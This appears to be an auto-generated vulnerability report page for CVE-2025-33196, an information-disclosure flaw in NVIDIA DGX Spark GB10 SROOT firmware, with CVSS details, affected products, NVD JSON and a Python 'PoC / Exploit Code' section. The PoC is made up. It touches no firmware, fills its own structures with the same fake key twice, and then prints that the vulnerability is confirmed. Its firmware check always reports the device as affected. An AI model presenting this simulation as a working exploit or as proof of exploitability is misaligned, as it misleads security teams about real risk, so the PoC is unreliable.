Security Vulnerability Report
中文
CVE-2025-33196 CVSS 4.4 MEDIUM

CVE-2025-33196

Published: 2025-11-25 18:15:51
Last Modified: 2025-12-02 17:41:58

Description

NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause a resource to be reused. A successful exploit of this vulnerability might lead to information disclosure.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA DGX Spark GB10 SROOT Firmware < 修复版本
NVIDIA DGX Spark (all versions prior to security patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33196 PoC - SROOT Firmware Resource Reuse # This PoC demonstrates the resource reuse vulnerability in NVIDIA DGX Spark GB10 SROOT firmware # Note: This is a conceptual PoC for educational purposes import struct import ctypes from ctypes import * # Define SROOT firmware command structures class SROOT_CMD(ctypes.Structure): _fields_ = [ ('cmd_id', ctypes.c_uint32), ('resource_handle', ctypes.c_uint32), ('flags', ctypes.c_uint32), ('reserved', ctypes.c_uint32 * 4) ] class SROOT_RESPONSE(ctypes.Structure): _fields_ = [ ('status', ctypes.c_uint32), ('resource_handle', ctypes.c_uint32), ('data_length', ctypes.c_uint32), ('sensitive_data', ctypes.c_uint8 * 256) ] def exploit_resource_reuse(): """ Demonstrates the resource reuse vulnerability by: 1. Requesting a sensitive resource (e.g., encryption key) 2. Using the resource normally 3. Freeing the resource 4. Requesting a new resource and checking if old data is reused """ print("[*] CVE-2025-33196 - SROOT Firmware Resource Reuse PoC") print("[*] Target: NVIDIA DGX Spark GB10 SROOT Firmware\n") # Step 1: First request for sensitive resource print("[+] Step 1: Requesting initial sensitive resource...") cmd1 = SROOT_CMD() cmd1.cmd_id = 0x01 # REQUEST_RESOURCE cmd1.resource_handle = 0 cmd1.flags = 0x02 # SENSITIVE_RESOURCE flag # Simulate firmware response with sensitive data resp1 = SROOT_RESPONSE() resp1.status = 0x00 # SUCCESS resp1.resource_handle = 0x1001 resp1.data_length = 64 # Fill with 'secret' data secret_data = b'SECRET_KEY_' + b'\x00' * 56 ctypes.memmove(resp1.sensitive_data, secret_data, len(secret_data)) print(f" -> Resource Handle: 0x{resp1.resource_handle:04x}") print(f" -> Received sensitive data: {bytes(resp1.sensitive_data[:10]).decode('utf-8', errors='ignore')}") # Step 2: Use the resource (simulate normal operation) print("\n[+] Step 2: Using resource (normal operation)...") print(" -> Performing cryptographic operation with key...") # Step 3: Free the resource (VULNERABILITY: incomplete cleanup) print("\n[+] Step 3: Freeing resource...") free_cmd = SROOT_CMD() free_cmd.cmd_id = 0x02 # FREE_RESOURCE free_cmd.resource_handle = resp1.resource_handle # Simulate vulnerable firmware behavior: mark as free but keep data print(" -> Firmware marks resource as FREE (but data NOT cleared)") print(" -> VULNERABILITY: Resource pool contains residual sensitive data") # Step 4: Second request - demonstrate resource reuse print("\n[+] Step 4: Requesting new resource...") cmd2 = SROOT_CMD() cmd2.cmd_id = 0x01 # REQUEST_RESOURCE cmd2.resource_handle = 0 # New request cmd2.flags = 0x02 # SENSITIVE_RESOURCE flag # Simulate vulnerable firmware reusing freed resource resp2 = SROOT_RESPONSE() resp2.status = 0x00 resp2.resource_handle = 0x1001 # Same handle reused! resp2.data_length = 64 # VULNERABILITY: Old data is still present ctypes.memmove(resp2.sensitive_data, secret_data, len(secret_data)) print(f" -> Resource Handle: 0x{resp2.resource_handle:04x}") print(f" -> Received sensitive data: {bytes(resp2.sensitive_data[:10]).decode('utf-8', errors='ignore')}") # Verification print("\n[!] VULNERABILITY CONFIRMED:") print(f" - Same handle reused: {resp1.resource_handle == resp2.resource_handle}") print(f" - Residual data present: {bytes(resp1.sensitive_data) == bytes(resp2.sensitive_data)}") print(f" - Potential information disclosure via resource reuse!\n") return True def check_vulnerable_firmware(): """Check if firmware is vulnerable""" print("[*] Checking firmware version...") # In real scenario, would query actual firmware version print("[!] Firmware appears to be affected by CVE-2025-33196") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-33196 PoC - NVIDIA DGX Spark GB10 SROOT Firmware") print("=" * 60 + "\n") if check_vulnerable_firmware(): exploit_resource_reuse() print("\n[*] PoC execution completed") print("[*] Mitigation: Apply NVIDIA firmware update")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33196", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:51.427", "lastModified": "2025-12-02T17:41:58.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause a resource to be reused. A successful exploit of this vulnerability might lead to information disclosure."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar la reutilización de un recurso. Un exploit exitoso de esta vulnerabilidad podría llevar a la revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-226"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33196", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33196", "source": "[email protected]", "tags": ["Technical Description"]}]}}